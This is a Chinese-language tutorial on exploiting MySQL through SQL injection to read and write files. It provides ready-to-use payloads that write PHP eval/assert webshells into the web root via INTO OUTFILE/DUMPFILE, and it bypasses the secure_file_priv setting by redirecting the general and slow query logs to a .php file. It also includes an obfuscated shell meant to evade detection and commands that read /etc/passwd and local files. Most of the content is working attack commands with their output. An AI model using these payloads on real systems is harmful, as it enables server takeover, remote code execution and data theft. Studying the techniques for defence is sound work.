<!–more–>
SQL注入:文件读写
之前我们的基础注入包括盲注都依赖于HTTP请求的响应,并从其中获取查询结果,报错信息,页面变化,以及响应时间,而这次我们要讲的文件读写则是直接将需要的信息写入文件,或者从文件中读取信息。
参考:
前置知识
Mysql中的读写权限
说到文件读写,那就免不了要提到权限的问题。
-
file_priv
是用户读写文件的权限,可以通过以下payload来查询权限select file_priv from mysql.user where user=$USER AND host=$HOST; SELECT HOST, USER, File_priv from mysql.user;
-
secure-file-priv
是系统变量,用于对文件读写功能进行限制:- 为空,表示无限制
- 为NULL,表示禁止文件读写
- 为目录名,表示将文件读写限制在特定目录下
注: 5.5.53
本身及之后的版本默认值为NULL,之前的版本为空
查看 secure-file-priv
值的方法
select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv";
- secure_file_priv
- secure_file_priv= (空格)代表对文件读写没有限制
- secure_file_priv=NULL 代表不能进行文件读写
- secure_file_priv=d:/… (具体路径) 代表只能对改路径下文件进行读写
修改的方法 :
通过修改my.ini文件,添加: secure-file-priv=
启动项添加参数: mysqld.exe --secure-file-priv=
SELECT .. INTO 语句
Mysql文档:《13.2.9.1 SELECT … INTO Statement》
SELECT ... INTO
表达式允许由SELECT语句查询到的结果存储到变量或者文件中:
写
一般的利用就是将一句话木马注入到服务端,然后再用蚁剑等工具连接:
select 1,"<?php @eval($_POST['t']);?>" into outfile '/var/www/html/1.php';
select 2,"<?php @assert($_POST['t']);?>" into dumpfile '/var/www/html/1.php';
- 需要满足的条件
secure-file-priv
为空或为可以利用的目录- 需要知道目标文件的绝对路径
- 目标目录的权限为可写,mysql的权限也足够
因此需要先查看权限是否足够:
mysql> show variables like '%secure%';
+--------------------------+-------+
| Variable_name | Value |
+--------------------------+-------+
| require_secure_transport | OFF |
| secure_auth | ON |
| secure_file_priv | |
+--------------------------+-------+
3 rows in set (0.02 sec)
日志法
由于在mysql的5.5.53版本之后, secure-file-priv
的值默认为 NULL
(NULL不等于空),不满足我们所需要的条件(secure-file-priv为空或为可以利用的目录),无法进行正常的读写。
因此这里我们通过更改日志文件的方法来进行绕过:
show variables like '%general%'; #查看日志文件相关配置
set global general_log = on; #开启general log模式
set global general_log_file = '/var/www/html/1.php'; #设置日志目录为我们想要执行的shell地址
select '<?php eval($_POST[cmd]);?>'; #写入shell
新建的1.php文件内容如下:
/Applications/MAMP/Library/bin/mysqld, Version: 5.7.34 (MySQL Community Server (GPL)). started with:
Tcp port: 8889 Unix socket: /Applications/MAMP/tmp/mysql/mysql.sock
Time Id Command Argument
2022-10-02T01:43:34.925269Z 6 Query select '<?php eval($_POST[cmd]);?>'
接下来就可以用蚁剑进行连接了。
SQL查询免杀shell
SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"
# assert($_REQUEST['username'])
慢查询日志
show variables like "%slow_query_log%"; #查看慢查询日志的相关配置
mysql> set global slow_query_log=on; #开启慢查询日志
mysql> set global slow_query_log_file='/var/www/html/2.php' #修改慢查询日志文件
SELECt sleep(10) or '<?php eval($_POST[cmd]);?>'; #用一个执行时间很长的SQL语句注入shell语句(没有考证过一般的做法)
接着用蚁剑连接成功。
慢日志2.php的内容如下:
/Applications/MAMP/Library/bin/mysqld, Version: 5.7.34 (MySQL Community Server (GPL)). started with:
Tcp port: 8889 Unix socket: /Applications/MAMP/tmp/mysql/mysql.sock
Time Id Command Argument
# Time: 2022-10-02T02:00:08.779509Z
# User@Host: root[root] @ localhost [] Id: 6
# Query_time: 10.079524 Lock_time: 0.000000 Rows_sent: 1 Rows_examined: 0
use security;
SET timestamp=1664676008;
select sleep(10) or '<?php eval($_POST[cmd]);?>';
- 慢查询日志(slow_query_log)
- 当SQL执行的时间超过我们设定的时间,那么这些SQL就会被记录在慢查询日志中
- 接着就可以用查看慢查询日志,接着使用explain分析这些SQL的执行,接着判定为什么效率低下
- 需要满足的条件
- 需要进行日志设置操作的权限
- 需要目标文件的绝对路径
读
CSS-T | Mysql Client 任意文件读取攻击链拓展
- Mysql内置了用于读取文件的函数
load_file()
:
select load_file(file_path);
-
读取服务端文件,Mysql server读取服务端的
/etc/passwd/
文件,然后将数据按照'\n'
分割 插入test表中,但是受到secure_file_priv
的限制:load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
-
读取客户端文件,读取客户端的文件,然后发送到客户端:
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
-
- 前两种读取服务端文件都需要
secure-file-priv
为空(无值)或者为可利用的目录 - 都需要知道读取文件所在的绝对路径
- 读取的文件大小必须小于
max_allowed_packet
所设置的值
- 前两种读取服务端文件都需要
低权限读取文件的方法
我们在前置知识中提到了5.5.53版本之后, secure-file-priv
默认为 NULL
这里给出方法,参考文章提到mysql8测试失败,其他版本自测;
将想要读取的文件的信息放入表中,然后再读取:
drop table mysql.m1; #清空原来可能存在的mysql.m1
CREATE TABLE mysql.m1 (code TEXT );
LOAD DATA LOCAL INFILE 'D://1.txt' INTO TABLE mysql.m1 fields terminated by '';
select * from mysql.m1;